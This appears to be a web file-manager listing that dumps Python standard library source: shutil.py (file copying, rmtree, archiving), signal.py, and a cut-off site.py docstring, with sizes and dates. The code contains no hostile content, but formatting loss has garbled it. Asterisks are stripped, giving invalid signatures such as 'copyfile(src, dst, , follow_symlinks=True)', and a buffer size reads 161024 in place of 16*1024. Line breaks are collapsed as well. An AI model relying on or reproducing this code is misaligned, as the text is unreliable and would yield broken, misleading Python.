17:55
📄 shutil.py """Utility functions for copying and archiving files and directory trees. XXX The functions here don't copy the resource fork or other metadata on Mac. """ import os import sys import stat import fnmatch import collections import errno try: import zlib del zlib _ZLIB_SUPPORTED = True except ImportError: _ZLIB_SUPPORTED = False try: import bz2 del bz2 _BZ2_SUPPORTED = True except ImportError: _BZ2_SUPPORTED = False try: import lzma del lzma _LZMA_SUPPORTED = True except ImportError: _LZMA_SUPPORTED = False try: from pwd import getpwnam except ImportError: getpwnam = None try: from grp import getgrnam except ImportError: getgrnam = None __all__ = ["copyfileobj", "copyfile", "copymode", "copystat", "copy", "copy2", "copytree", "move", "rmtree", "Error", "SpecialFileError", "ExecError", "make_archive", "get_archive_formats", "register_archive_format", "unregister_archive_format", "get_unpack_formats", "register_unpack_format", "unregister_unpack_format", "unpack_archive", "ignore_patterns", "chown", "which", "get_terminal_size", "SameFileError"] # disk_usage is added later, if available on the platform class Error(OSError): pass class SameFileError(Error): """Raised when source and destination are the same file.""" class SpecialFileError(OSError): """Raised when trying to do a kind of operation (e.g. copying) which is not supported on a special file (e.g. a named pipe)""" class ExecError(OSError): """Raised when a command could not be executed""" class ReadError(OSError): """Raised when an archive cannot be read""" class RegistryError(Exception): """Raised when a registry operation with the archiving and unpacking registries fails""" def copyfileobj(fsrc, fdst, length=161024): """copy data from file-like object fsrc to file-like object fdst""" while 1: buf = fsrc.read(length) if not buf: break fdst.write(buf) def _samefile(src, dst): # Macintosh, Unix. if hasattr(os.path, 'samefile'): try: return os.path.samefile(src, dst) except OSError: return False # All other platforms: check for same pathname. return (os.path.normcase(os.path.abspath(src)) == os.path.normcase(os.path.abspath(dst))) def copyfile(src, dst, , follow_symlinks=True): """Copy data from src to dst. If follow_symlinks is not set and src is a symbolic link, a new symlink will be created instead of copying the file it points to. """ if _samefile(src, dst): raise SameFileError("{!r} and {!r} are the same file".format(src, dst)) for fn in [src, dst]: try: st = os.stat(fn) except OSError: # File most likely does not exist pass else: # XXX What about other special files? (sockets, devices...) if stat.S_ISFIFO(st.st_mode): raise SpecialFileError("`%s` is a named pipe" % fn) if not follow_symlinks and os.path.islink(src): os.symlink(os.readlink(src), dst) else: with open(src, 'rb') as fsrc: with open(dst, 'wb') as fdst: copyfileobj(fsrc, fdst) return dst def copymode(src, dst, , follow_symlinks=True): """Copy mode bits from src to dst. If follow_symlinks is not set, symlinks aren't followed if and only if both `src` and `dst` are symlinks. If `lchmod` isn't available (e.g. Linux) this method does nothing. """ if not follow_symlinks and os.path.islink(src) and os.path.islink(dst): if hasattr(os, 'lchmod'): stat_func, chmod_func = os.lstat, os.lchmod else: return elif hasattr(os, 'chmod'): stat_func, chmod_func = os.stat, os.chmod else: return st = stat_func(src) chmod_func(dst, stat.S_IMODE(st.st_mode)) if hasattr(os, 'listxattr'): def _copyxattr(src, dst, , follow_symlinks=True): """Copy extended filesystem attributes from `src` to `dst`. Overwrite existing attributes. If `follow_symlinks` is false, symlinks won't be followed. """ try: names = os.listxattr(src, follow_symlinks=follow_symlinks) except OSError as e: if e.errno not in (errno.ENOTSUP, errno.ENODATA, errno.EINVAL): raise return for name in names: try: value = os.getxattr(src, name, follow_symlinks=follow_symlinks) os.setxattr(dst, name, value, follow_symlinks=follow_symlinks) except OSError as e: if e.errno not in (errno.EPERM, errno.ENOTSUP, errno.ENODATA, errno.EINVAL): raise else: def _copyxattr(args, kwargs): pass def copystat(src, dst, , follow_symlinks=True): """Copy file metadata Copy the permission bits, last access time, last modification time, and flags from `src` to `dst`. On Linux, copystat() also copies the "extended attributes" where possible. The file contents, owner, and group are unaffected. `src` and `dst` are path names given as strings. If the optional flag `follow_symlinks` is not set, symlinks aren't followed if and only if both `src` and `dst` are symlinks. """ def _nop(args, ns=None, follow_symlinks=None): pass # follow symlinks (aka don't not follow symlinks) follow = follow_symlinks or not (os.path.islink(src) and os.path.islink(dst)) if follow: # use the real function if it exists def lookup(name): return getattr(os, name, _nop) else: # use the real function only if it exists # and* it supports follow_symlinks def lookup(name): fn = getattr(os, name, _nop) if fn in os.supports_follow_symlinks: return fn return _nop st = lookup("stat")(src, follow_symlinks=follow) mode = stat.S_IMODE(st.st_mode) lookup("utime")(dst, ns=(st.st_atime_ns, st.st_mtime_ns), follow_symlinks=follow) # We must copy extended attributes before the file is (potentially) # chmod()'ed read-only, otherwise setxattr() will error with -EACCES. _copyxattr(src, dst, follow_symlinks=follow) try: lookup("chmod")(dst, mode, follow_symlinks=follow) except NotImplementedError: # if we got a NotImplementedError, it's because # * follow_symlinks=False, # * lchown() is unavailable, and # * either # * fchownat() is unavailable or # * fchownat() doesn't implement AT_SYMLINK_NOFOLLOW. # (it returned ENOSUP.) # therefore we're out of options--we simply cannot chown the # symlink. give up, suppress the error. # (which is what shutil always did in this circumstance.) pass if hasattr(st, 'st_flags'): try: lookup("chflags")(dst, st.st_flags, follow_symlinks=follow) except OSError as why: for err in 'EOPNOTSUPP', 'ENOTSUP': if hasattr(errno, err) and why.errno == getattr(errno, err): break else: raise def copy(src, dst, , follow_symlinks=True): """Copy data and mode bits ("cp src dst"). Return the file's destination. The destination may be a directory. If follow_symlinks is false, symlinks won't be followed. This resembles GNU's "cp -P src dst". If source and destination are the same file, a SameFileError will be raised. """ if os.path.isdir(dst): dst = os.path.join(dst, os.path.basename(src)) copyfile(src, dst, follow_symlinks=follow_symlinks) copymode(src, dst, follow_symlinks=follow_symlinks) return dst def copy2(src, dst, , follow_symlinks=True): """Copy data and metadata. Return the file's destination. Metadata is copied with copystat(). Please see the copystat function for more information. The destination may be a directory. If follow_symlinks is false, symlinks won't be followed. This resembles GNU's "cp -P src dst". """ if os.path.isdir(dst): dst = os.path.join(dst, os.path.basename(src)) copyfile(src, dst, follow_symlinks=follow_symlinks) copystat(src, dst, follow_symlinks=follow_symlinks) return dst def ignore_patterns(patterns): """Function that can be used as copytree() ignore parameter. Patterns is a sequence of glob-style patterns that are used to exclude files""" def _ignore_patterns(path, names): ignored_names = [] for pattern in patterns: ignored_names.extend(fnmatch.filter(names, pattern)) return set(ignored_names) return _ignore_patterns def copytree(src, dst, symlinks=False, ignore=None, copy_function=copy2, ignore_dangling_symlinks=False): """Recursively copy a directory tree. The destination directory must not already exist. If exception(s) occur, an Error is raised with a list of reasons. If the optional symlinks flag is true, symbolic links in the source tree result in symbolic links in the destination tree; if it is false, the contents of the files pointed to by symbolic links are copied. If the file pointed by the symlink doesn't exist, an exception will be added in the list of errors raised in an Error exception at the end of the copy process. You can set the optional ignore_dangling_symlinks flag to true if you want to silence this exception. Notice that this has no effect on platforms that don't support os.symlink. The optional ignore argument is a callable. If given, it is called with the `src` parameter, which is the directory being visited by copytree(), and `names` which is the list of `src` contents, as returned by os.listdir(): callable(src, names) -> ignored_names Since copytree() is called recursively, the callable will be called once for each directory that is copied. It returns a list of names relative to the `src` directory that should not be copied. The optional copy_function argument is a callable that will be used to copy each file. It will be called with the source path and the destination path as arguments. By default, copy2() is used, but any function that supports the same signature (like copy()) can be used. """ names = os.listdir(src) if ignore is not None: ignored_names = ignore(src, names) else: ignored_names = set() os.makedirs(dst) errors = [] for name in names: if name in ignored_names: continue srcname = os.path.join(src, name) dstname = os.path.join(dst, name) try: if os.path.islink(srcname): linkto = os.readlink(srcname) if symlinks: # We can't just leave it to `copy_function` because legacy # code with a custom `copy_function` may rely on copytree # doing the right thing. os.symlink(linkto, dstname) copystat(srcname, dstname, follow_symlinks=not symlinks) else: # ignore dangling symlink if the flag is on if not os.path.exists(linkto) and ignore_dangling_symlinks: continue # otherwise let the copy occurs. copy2 will raise an error if os.path.isdir(srcname): copytree(srcname, dstname, symlinks, ignore, copy_function) else: copy_function(srcname, dstname) elif os.path.isdir(srcname): copytree(srcname, dstname, symlinks, ignore, copy_function) else: # Will raise a SpecialFileError for unsupported file types copy_function(srcname, dstname) # catch the Error from the recursive copytree so that we can # continue with other files except Error as err: errors.extend(err.args[0]) except OSError as why: errors.append((srcname, dstname, str(why))) try: copystat(src, dst) except OSError as why: # Copying file access times may fail on Windows if getattr(why, 'winerror', None) is None: errors.append((src, dst, str(why))) if errors: raise Error(errors) return dst # version vulnerable to race conditions def _rmtree_unsafe(path, onerror): try: with os.scandir(path) as scandir_it: entries = list(scandir_it) except OSError: onerror(os.scandir, path, sys.exc_info()) entries = [] for entry in entries: fullname = entry.path try: is_dir = entry.is_dir(follow_symlinks=False) except OSError: is_dir = False if is_dir: try: if entry.is_symlink(): # This can only happen if someone replaces # a directory with a symlink after the call to # os.scandir or entry.is_dir above. raise OSError("Cannot call rmtree on a symbolic link") except OSError: onerror(os.path.islink, fullname, sys.exc_info()) continue _rmtree_unsafe(fullname, onerror) else: try: os.unlink(fullname) except OSError: onerror(os.unlink, fullname, sys.exc_info()) try: os.rmdir(path) except OSError: onerror(os.rmdir, path, sys.exc_info()) # Version using fd-based APIs to protect against races def _rmtree_safe_fd(topfd, path, onerror): try: with os.scandir(topfd) as scandir_it: entries = list(scandir_it) except OSError as err: err.filename = path onerror(os.scandir, path, sys.exc_info()) return for entry in entries: fullname = os.path.join(path, entry.name) try: is_dir = entry.is_dir(follow_symlinks=False) if is_dir: orig_st = entry.stat(follow_symlinks=False) is_dir = stat.S_ISDIR(orig_st.st_mode) except OSError: is_dir = False if is_dir: try: dirfd = os.open(entry.name, os.O_RDONLY, dir_fd=topfd) except OSError: onerror(os.open, fullname, sys.exc_info()) else: try: if os.path.samestat(orig_st, os.fstat(dirfd)): _rmtree_safe_fd(dirfd, fullname, onerror) try: os.rmdir(entry.name, dir_fd=topfd) except OSError: onerror(os.rmdir, fullname, sys.exc_info()) else: try: # This can only happen if someone replaces # a directory with a symlink after the call to # os.scandir or stat.S_ISDIR above. raise OSError("Cannot call rmtree on a symbolic " "link") except OSError: onerror(os.path.islink, fullname, sys.exc_info()) finally: os.close(dirfd) else: try: os.unlink(entry.name, dir_fd=topfd) except OSError: onerror(os.unlink, fullname, sys.exc_info()) _use_fd_functions = ({os.open, os.stat, os.unlink, os.rmdir} <= os.supports_dir_fd and os.scandir in os.supports_fd and os.stat in os.supports_follow_symlinks) def rmtree(path, ignore_errors=False, onerror=None): """Recursively delete a directory tree. If ignore_errors is set, errors are ignored; otherwise, if onerror is set, it is called to handle the error with arguments (func, path, exc_info) where func is platform and implementation dependent; path is the argument to that function that caused it to fail; and exc_info is a tuple returned by sys.exc_info(). If ignore_errors is false and onerror is None, an exception is raised. """ if ignore_errors: def onerror(args): pass elif onerror is None: def onerror(args): raise if _use_fd_functions: # While the unsafe rmtree works fine on bytes, the fd based does not. if isinstance(path, bytes): path = os.fsdecode(path) # Note: To guard against symlink races, we use the standard # lstat()/open()/fstat() trick. try: orig_st = os.lstat(path) except Exception: onerror(os.lstat, path, sys.exc_info()) return try: fd = os.open(path, os.O_RDONLY) except Exception: onerror(os.lstat, path, sys.exc_info()) return try: if os.path.samestat(orig_st, os.fstat(fd)): _rmtree_safe_fd(fd, path, onerror) try: os.rmdir(path) except OSError: onerror(os.rmdir, path, sys.exc_info()) else: try: # symlinks to directories are forbidden, see bug #1669 raise OSError("Cannot call rmtree on a symbolic link") except OSError: onerror(os.path.islink, path, sys.exc_info()) finally: os.close(fd) else: try: if os.path.islink(path): # symlinks to directories are forbidden, see bug #1669 raise OSError("Cannot call rmtree on a symbolic link") except OSError: onerror(os.path.islink, path, sys.exc_info()) # can't continue even if onerror hook returns return return _rmtree_unsafe(path, onerror) # Allow introspection of whether or not the hardening against symlink # attacks is supported on the current platform rmtree.avoids_symlink_attacks = _use_fd_functions def _basename(path): # A basename() variant which first strips the trailing slash, if present. # Thus we always get the last component of the path, even for directories. sep = os.path.sep + (os.path.altsep or '') return os.path.basename(path.rstrip(sep)) def move(src, dst, copy_function=copy2): """Recursively move a file or directory to another location. This is similar to the Unix "mv" command. Return the file or directory's destination. If the destination is a directory or a symlink to a directory, the source is moved inside the directory. The destination path must not already exist. If the destination already exists but is not a directory, it may be overwritten depending on os.rename() semantics. If the destination is on our current filesystem, then rename() is used. Otherwise, src is copied to the destination and then removed. Symlinks are recreated under the new name if os.rename() fails because of cross filesystem renames. The optional `copy_function` argument is a callable that will be used to copy the source or it will be delegated to `copytree`. By default, copy2() is used, but any function that supports the same signature (like copy()) can be used. A lot more could be done here... A look at a mv.c shows a lot of the issues this implementation glosses over. """ real_dst = dst if os.path.isdir(dst): if _samefile(src, dst): # We might be on a case insensitive filesystem, # perform the rename anyway. os.rename(src, dst) return real_dst = os.path.join(dst, _basename(src)) if os.path.exists(real_dst): raise Error("Destination path '%s' already exists" % real_dst) try: os.rename(src, real_dst) except OSError: if os.path.islink(src): linkto = os.readlink(src) os.symlink(linkto, real_dst) os.unlink(src) elif os.path.isdir(src): if _destinsrc(src, dst): raise Error("Cannot move a directory '%s' into itself" " '%s'." % (src, dst)) copytree(src, real_dst, copy_function=copy_function, symlinks=True) rmtree(src) else: copy_function(src, real_dst) os.unlink(src) return real_dst def _destinsrc(src, dst): src = os.path.abspath(src) dst = os.path.abspath(dst) if not src.endswith(os.path.sep): src += os.path.sep if not dst.endswith(os.path.sep): dst += os.path.sep return dst.startswith(src) def _get_gid(name): """Returns a gid, given a group name.""" if getgrnam is None or name is None: return None try: result = getgrnam(name) except KeyError: result = None if result is not None: return result[2] return None def _get_uid(name): """Returns an uid, given a user name.""" if getpwnam is None or name is None: return None try: result = getpwnam(name) except KeyError: result = None if result is not None: return result[2] return None def _make_tarball(base_name, base_dir, compress="gzip", verbose=0, dry_run=0, owner=None, group=None, logger=None): """Create a (possibly compressed) tar file from all the files under 'base_dir'. 'compress' must be "gzip" (the default), "bzip2", "xz", or None. 'owner' and 'group' can be used to define an owner and a group for the archive that is being built. If not provided, the current owner and group will be used. The output tar file will be named 'base_name' + ".tar", possibly plus the appropriate compression extension (".gz", ".bz2", or ".xz"). Returns the output filename. """ if compress is None: tar_compression = '' elif _ZLIB_SUPPORTED and compress == 'gzip': tar_compression = 'gz' elif _BZ2_SUPPORTED and compress == 'bzip2': tar_compression = 'bz2' elif _LZMA_SUPPORTED and compress == 'xz': tar_compression = 'xz' else: raise ValueError("bad value for 'compress', or compression format not " "supported : {0}".format(compress)) import tarfile # late import for breaking circular dependency compress_ext = '.' + tar_compression if compress else '' archive_name = base_name + '.tar' + compress_ext archive_dir = os.path.dirname(archive_name) if archive_dir and not os.path.exists(archive_dir): if logger is not None: logger.info("creating %s", archive_dir) if not dry_run: os.makedirs(archive_dir) # creating the tarball if logger is not None: logger.info('Creating tar archive') uid = _get_uid(owner) gid = _get_gid(group) def _set_uid_gid(tarinfo): if gid is not None: tarinfo.gid = gid tarinfo.gname = group if uid is not None: tarinfo.uid = uid tarinfo.uname = owner return tarinfo if not dry_run: tar = tarfile.open(archive_name, 'w\|%s' % tar_compression) try: tar.add(base_dir, filter=_set_uid_gid) finally: tar.close() return archive_name def _make_zipfile(base_name, base_dir, verbose=0, dry_run=0, logger=None): """Create a zip file from all the files under 'base_dir'. The output zip file will be named 'base_name' + ".zip". Returns the name of the output zip file. """ import zipfile # late import for breaking circular dependency zip_filename = base_name + ".zip" archive_dir = os.path.dirname(base_name) if archive_dir and not os.path.exists(archive_dir): if logger is not None: logger.info("creating %s", archive_dir) if not dry_run: os.makedirs(archive_dir) if logger is not None: logger.info("creating '%s' and adding '%s' to it", zip_filename, base_dir) if not dry_run: with zipfile.ZipFile(zip_filename, "w", compression=zipfile.ZIP_DEFLATED) as zf: path = os.path.normpath(base_dir) if path != os.curdir: zf.write(path, path) if logger is not None: logger.info("adding '%s'", path) for dirpath, dirnames, filenames in os.walk(base_dir): for name in sorted(dirnames): path = os.path.normpath(os.path.join(dirpath, name)) zf.write(path, path) if logger is not None: logger.info("adding '%s'", path) for name in filenames: path = os.path.normpath(os.path.join(dirpath, name)) if os.path.isfile(path): zf.write(path, path) if logger is not None: logger.info("adding '%s'", path) return zip_filename _ARCHIVE_FORMATS = { 'tar': (_make_tarball, [('compress', None)], "uncompressed tar file"), } if _ZLIB_SUPPORTED: _ARCHIVE_FORMATS['gztar'] = (_make_tarball, [('compress', 'gzip')], "gzip'ed tar-file") _ARCHIVE_FORMATS['zip'] = (_make_zipfile, [], "ZIP file") if _BZ2_SUPPORTED: _ARCHIVE_FORMATS['bztar'] = (_make_tarball, [('compress', 'bzip2')], "bzip2'ed tar-file") if _LZMA_SUPPORTED: _ARCHIVE_FORMATS['xztar'] = (_make_tarball, [('compress', 'xz')], "xz'ed tar-file") def get_archive_formats(): """Returns a list of supported formats for archiving and unarchiving. Each element of the returned sequence is a tuple (name, description) """ formats = [(name, registry[2]) for name, registry in _ARCHIVE_FORMATS.items()] formats.sort() return formats def register_archive_format(name, function, extra_args=None, description=''): """Registers an archive format. name is the name of the format. function is the callable that will be used to create archives. If provided, extra_args is a sequence of (name, value) tuples that will be passed as arguments to the callable. description can be provided to describe the format, and will be returned by the get_archive_formats() function. """ if extra_args is None: extra_args = [] if not callable(function): raise TypeError('The %s object is not callable' % function) if not isinstance(extra_args, (tuple, list)): raise TypeError('extra_args needs to be a sequence') for element in extra_args: if not isinstance(element, (tuple, list)) or len(element) !=2: raise TypeError('extra_args elements are : (arg_name, value)') _ARCHIVE_FORMATS[name] = (function, extra_args, description) def unregister_archive_format(name): del _ARCHIVE_FORMATS[name] def make_archive(base_name, format, root_dir=None, base_dir=None, verbose=0, dry_run=0, owner=None, group=None, logger=None): """Create an archive file (eg. zip or tar). 'base_name' is the name of the file to create, minus any format-specific extension; 'format' is the archive format: one of "zip", "tar", "gztar", "bztar", or "xztar". Or any other registered format. 'root_dir' is a directory that will be the root directory of the archive; ie. we typically chdir into 'root_dir' before creating the archive. 'base_dir' is the directory where we start archiving from; ie. 'base_dir' will be the common prefix of all files and directories in the archive. 'root_dir' and 'base_dir' both default to the current directory. Returns the name of the archive file. 'owner' and 'group' are used when creating a tar archive. By default, uses the current owner and group. """ save_cwd = os.getcwd() if root_dir is not None: if logger is not None: logger.debug("changing into '%s'", root_dir) base_name = os.path.abspath(base_name) if not dry_run: os.chdir(root_dir) if base_dir is None: base_dir = os.curdir kwargs = {'dry_run': dry_run, 'logger': logger} try: format_info = _ARCHIVE_FORMATS[format] except KeyError: raise ValueError("unknown archive format '%s'" % format) from None func = format_info[0] for arg, val in format_info[1]: kwargs[arg] = val if format != 'zip': kwargs['owner'] = owner kwargs['group'] = group try: filename = func(base_name, base_dir, kwargs) finally: if root_dir is not None: if logger is not None: logger.debug("changing back to '%s'", save_cwd) os.chdir(save_cwd) return filename def get_unpack_formats(): """Returns a list of supported formats for unpacking. Each element of the returned sequence is a tuple (name, extensions, description) """ formats = [(name, info[0], info[3]) for name, info in _UNPACK_FORMATS.items()] formats.sort() return formats def _check_unpack_options(extensions, function, extra_args): """Checks what gets registered as an unpacker.""" # first make sure no other unpacker is registered for this extension existing_extensions = {} for name, info in _UNPACK_FORMATS.items(): for ext in info[0]: existing_extensions[ext] = name for extension in extensions: if extension in existing_extensions: msg = '%s is already registered for "%s"' raise RegistryError(msg % (extension, existing_extensions[extension])) if not callable(function): raise TypeError('The registered function must be a callable') def register_unpack_format(name, extensions, function, extra_args=None, description=''): """Registers an unpack format. `name` is the name of the format. `extensions` is a list of extensions corresponding to the format. `function` is the callable that will be used to unpack archives. The callable will receive archives to unpack. If it's unable to handle an archive, it needs to raise a ReadError exception. If provided, `extra_args` is a sequence of (name, value) tuples that will be passed as arguments to the callable. description can be provided to describe the format, and will be returned by the get_unpack_formats() function. """ if extra_args is None: extra_args = [] _check_unpack_options(extensions, function, extra_args) _UNPACK_FORMATS[name] = extensions, function, extra_args, description def unregister_unpack_format(name): """Removes the pack format from the registry.""" del _UNPACK_FORMATS[name] def _ensure_directory(path): """Ensure that the parent directory of `path` exists""" dirname = os.path.dirname(path) if not os.path.isdir(dirname): os.makedirs(dirname) def _unpack_zipfile(filename, extract_dir): """Unpack zip `filename` to `extract_dir` """ import zipfile # late import for breaking circular dependency if not zipfile.is_zipfile(filename): raise ReadError("%s is not a zip file" % filename) zip = zipfile.ZipFile(filename) try: for info in zip.infolist(): name = info.filename # don't extract absolute paths or ones with .. in them if name.startswith('/') or '..' in name: continue target = os.path.join(extract_dir, name.split('/')) if not target: continue _ensure_directory(target) if not name.endswith('/'): # file data = zip.read(info.filename) f = open(target, 'wb') try: f.write(data) finally: f.close() del data finally: zip.close() def _unpack_tarfile(filename, extract_dir): """Unpack tar/tar.gz/tar.bz2/tar.xz `filename` to `extract_dir` """ import tarfile # late import for breaking circular dependency try: tarobj = tarfile.open(filename) except tarfile.TarError: raise ReadError( "%s is not a compressed or uncompressed tar file" % filename) try: tarobj.extractall(extract_dir) finally: tarobj.close() _UNPACK_FORMATS = { 'tar': (['.tar'], _unpack_tarfile, [], "uncompressed tar file"), 'zip': (['.zip'], _unpack_zipfile, [], "ZIP file"), } if _ZLIB_SUPPORTED: _UNPACK_FORMATS['gztar'] = (['.tar.gz', '.tgz'], _unpack_tarfile, [], "gzip'ed tar-file") if _BZ2_SUPPORTED: _UNPACK_FORMATS['bztar'] = (['.tar.bz2', '.tbz2'], _unpack_tarfile, [], "bzip2'ed tar-file") if _LZMA_SUPPORTED: _UNPACK_FORMATS['xztar'] = (['.tar.xz', '.txz'], _unpack_tarfile, [], "xz'ed tar-file") def _find_unpack_format(filename): for name, info in _UNPACK_FORMATS.items(): for extension in info[0]: if filename.endswith(extension): return name return None def unpack_archive(filename, extract_dir=None, format=None): """Unpack an archive. `filename` is the name of the archive. `extract_dir` is the name of the target directory, where the archive is unpacked. If not provided, the current working directory is used. `format` is the archive format: one of "zip", "tar", "gztar", "bztar", or "xztar". Or any other registered format. If not provided, unpack_archive will use the filename extension and see if an unpacker was registered for that extension. In case none is found, a ValueError is raised. """ if extract_dir is None: extract_dir = os.getcwd() extract_dir = os.fspath(extract_dir) filename = os.fspath(filename) if format is not None: try: format_info = _UNPACK_FORMATS[format] except KeyError: raise ValueError("Unknown unpack format '{0}'".format(format)) from None func = format_info[1] func(filename, extract_dir, dict(format_info[2])) else: # we need to look at the registered unpackers supported extensions format = _find_unpack_format(filename) if format is None: raise ReadError("Unknown archive format '{0}'".format(filename)) func = _UNPACK_FORMATS[format][1] kwargs = dict(_UNPACK_FORMATS[format][2]) func(filename, extract_dir, kwargs) if hasattr(os, 'statvfs'): __all__.append('disk_usage') _ntuple_diskusage = collections.namedtuple('usage', 'total used free') _ntuple_diskusage.total.__doc__ = 'Total space in bytes' _ntuple_diskusage.used.__doc__ = 'Used space in bytes' _ntuple_diskusage.free.__doc__ = 'Free space in bytes' def disk_usage(path): """Return disk usage statistics about the given path. Returned value is a named tuple with attributes 'total', 'used' and 'free', which are the amount of total, used and free space, in bytes. """ st = os.statvfs(path) free = st.f_bavail * st.f_frsize total = st.f_blocks * st.f_frsize used = (st.f_blocks - st.f_bfree) * st.f_frsize return _ntuple_diskusage(total, used, free) elif os.name == 'nt': import nt __all__.append('disk_usage') _ntuple_diskusage = collections.namedtuple('usage', 'total used free') def disk_usage(path): """Return disk usage statistics about the given path. Returned values is a named tuple with attributes 'total', 'used' and 'free', which are the amount of total, used and free space, in bytes. """ total, free = nt._getdiskusage(path) used = total - free return _ntuple_diskusage(total, used, free) def chown(path, user=None, group=None): """Change owner user and group of the given path. user and group can be the uid/gid or the user/group names, and in that case, they are converted to their respective uid/gid. """ if user is None and group is None: raise ValueError("user and/or group must be set") _user = user _group = group # -1 means don't change it if user is None: _user = -1 # user can either be an int (the uid) or a string (the system username) elif isinstance(user, str): _user = _get_uid(user) if _user is None: raise LookupError("no such user: {!r}".format(user)) if group is None: _group = -1 elif not isinstance(group, int): _group = _get_gid(group) if _group is None: raise LookupError("no such group: {!r}".format(group)) os.chown(path, _user, _group) def get_terminal_size(fallback=(80, 24)): """Get the size of the terminal window. For each of the two dimensions, the environment variable, COLUMNS and LINES respectively, is checked. If the variable is defined and the value is a positive integer, it is used. When COLUMNS or LINES is not defined, which is the common case, the terminal connected to sys.__stdout__ is queried by invoking os.get_terminal_size. If the terminal size cannot be successfully queried, either because the system doesn't support querying, or because we are not connected to a terminal, the value given in fallback parameter is used. Fallback defaults to (80, 24) which is the default size used by many terminal emulators. The value returned is a named tuple of type os.terminal_size. """ # columns, lines are the working values try: columns = int(os.environ['COLUMNS']) except (KeyError, ValueError): columns = 0 try: lines = int(os.environ['LINES']) except (KeyError, ValueError): lines = 0 # only query if necessary if columns <= 0 or lines <= 0: try: size = os.get_terminal_size(sys.__stdout__.fileno()) except (AttributeError, ValueError, OSError): # stdout is None, closed, detached, or not a terminal, or # os.get_terminal_size() is unsupported size = os.terminal_size(fallback) if columns <= 0: columns = size.columns if lines <= 0: lines = size.lines return os.terminal_size((columns, lines)) def which(cmd, mode=os.F_OK \| os.X_OK, path=None): """Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK \| os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path. """ # Check that a given file can be accessed with the correct mode. # Additionally check that `file` is not a directory, as on Windows # directories pass the os.access check. def _access_check(fn, mode): return (os.path.exists(fn) and os.access(fn, mode) and not os.path.isdir(fn)) # If we're given a path with a directory part, look it up directly rather # than referring to PATH directories. This includes checking relative to the # current directory, e.g. ./script if os.path.dirname(cmd): if _access_check(cmd, mode): return cmd return None if path is None: path = os.environ.get("PATH", None) if path is None: try: path = os.confstr("CS_PATH") except (AttributeError, ValueError): # os.confstr() or CS_PATH is not available path = os.defpath # bpo-35755: Don't use os.defpath if the PATH environment variable is # set to an empty string # PATH='' doesn't match, whereas PATH=':' looks in the current directory if not path: return None path = path.split(os.pathsep) if sys.platform == "win32": # The current directory takes precedence on Windows. if not os.curdir in path: path.insert(0, os.curdir) # PATHEXT is necessary to check on Windows. pathext = os.environ.get("PATHEXT", "").split(os.pathsep) # See if the given file matches any of the expected path extensions. # This will allow us to short circuit when given "python.exe". # If it does match, only test that one, otherwise we have to try # others. if any(cmd.lower().endswith(ext.lower()) for ext in pathext): files = [cmd] else: files = [cmd + ext for ext in pathext] else: # On other platforms you don't have things like PATHEXT to tell you # what file suffixes are executable, so just pass on cmd as-is. files = [cmd] seen = set() for dir in path: normdir = os.path.normcase(dir) if not normdir in seen: seen.add(normdir) for thefile in files: name = os.path.join(dir, thefile) if _access_check(name, mode): return name return None	40.97 KB	2024-04-17 17:55
📄 signal.py import _signal from _signal import * from functools import wraps as _wraps from enum import IntEnum as _IntEnum _globals = globals() _IntEnum._convert( 'Signals', __name__, lambda name: name.isupper() and (name.startswith('SIG') and not name.startswith('SIG_')) or name.startswith('CTRL_')) _IntEnum._convert( 'Handlers', __name__, lambda name: name in ('SIG_DFL', 'SIG_IGN')) if 'pthread_sigmask' in _globals: _IntEnum._convert( 'Sigmasks', __name__, lambda name: name in ('SIG_BLOCK', 'SIG_UNBLOCK', 'SIG_SETMASK')) def _int_to_enum(value, enum_klass): """Convert a numeric value to an IntEnum member. If it's not a known member, return the numeric value itself. """ try: return enum_klass(value) except ValueError: return value def _enum_to_int(value): """Convert an IntEnum member to a numeric value. If it's not an IntEnum member return the value itself. """ try: return int(value) except (ValueError, TypeError): return value @_wraps(_signal.signal) def signal(signalnum, handler): handler = _signal.signal(_enum_to_int(signalnum), _enum_to_int(handler)) return _int_to_enum(handler, Handlers) @_wraps(_signal.getsignal) def getsignal(signalnum): handler = _signal.getsignal(signalnum) return _int_to_enum(handler, Handlers) if 'pthread_sigmask' in _globals: @_wraps(_signal.pthread_sigmask) def pthread_sigmask(how, mask): sigs_set = _signal.pthread_sigmask(how, mask) return set(_int_to_enum(x, Signals) for x in sigs_set) pthread_sigmask.__doc__ = _signal.pthread_sigmask.__doc__ if 'sigpending' in _globals: @_wraps(_signal.sigpending) def sigpending(): sigs = _signal.sigpending() return set(_int_to_enum(x, Signals) for x in sigs) if 'sigwait' in _globals: @_wraps(_signal.sigwait) def sigwait(sigset): retsig = _signal.sigwait(sigset) return _int_to_enum(retsig, Signals) sigwait.__doc__ = _signal.sigwait del _globals, _wraps	2.07 KB	2024-04-17 17:55
📁 site-packages	-	2025-10-13 08:00
📄 site.py """Append module search paths for third-party packages to sys.path. **************************************************************** * This module is automatically imported during initialization. * **************************************************************** This will append site-specific paths to the module search path. On Unix (including Mac OSX), it starts with sys.prefix and sys.exec_prefix (if different) and appends lib/python<version>/site-packages. On other platforms (such as Windows), it tries each of the prefixes directly, as well as with lib/site-packages appended. The resulting directories, if they exist, are appended to sys.path, and also inspected for path configuration files. If a file named "pyvenv.cfg" exists one directory above sys.executable, sys.prefix and sys.exec_prefix are set to that directory and it is also checked for site-packages (sys.base_prefix and sys.base_exec_prefix will always be the "real" prefixes of the Python installation). If "pyvenv.cfg" (a bootstrap configuration file) contains the key "include-system-site-packages" set to anything other than "false" (case-insensitive), the system-level prefixes will still also be searched for site-packages; otherwise they won't. All of the resulting site-specific directories, if they exist, are appended to sys.path, and also inspected for path configuration files. A path configuration file is a file whose name has the form <package>.pth; its contents are additional directories (one per line) to be added to sys.path. Non-existing directories (or non-directories) are never added to sys.path; no directory is added to sys.path more than once. Blank lines and lines beginning with '#' are skipped. Lines starting with 'import' are executed. For example, suppose sys.prefix and sys.exec_prefix are set to /usr/local and there is a directory /usr/local/lib/python2.5/site-packages with three subdirectories, foo, bar and spam, and two path configuration files, foo.pth and bar.pth. Assume foo.pth contains the following: # foo package configuration foo bar bletch and bar.pth contains: # bar package configuration bar Then the following directories are added to sys.path, in this order: /usr/local/lib/python2.5/site-packages/bar /usr/local/lib/python2.5/site-packages/foo Note that bletch is omitted because it doesn't exist; bar precedes foo because bar.pth comes alphabetically before foo.pth; and spam is omitted because it is not mentioned in either path configuration file. The readline module is also automatically configured to enable completion for systems that support it. This can be overridden in 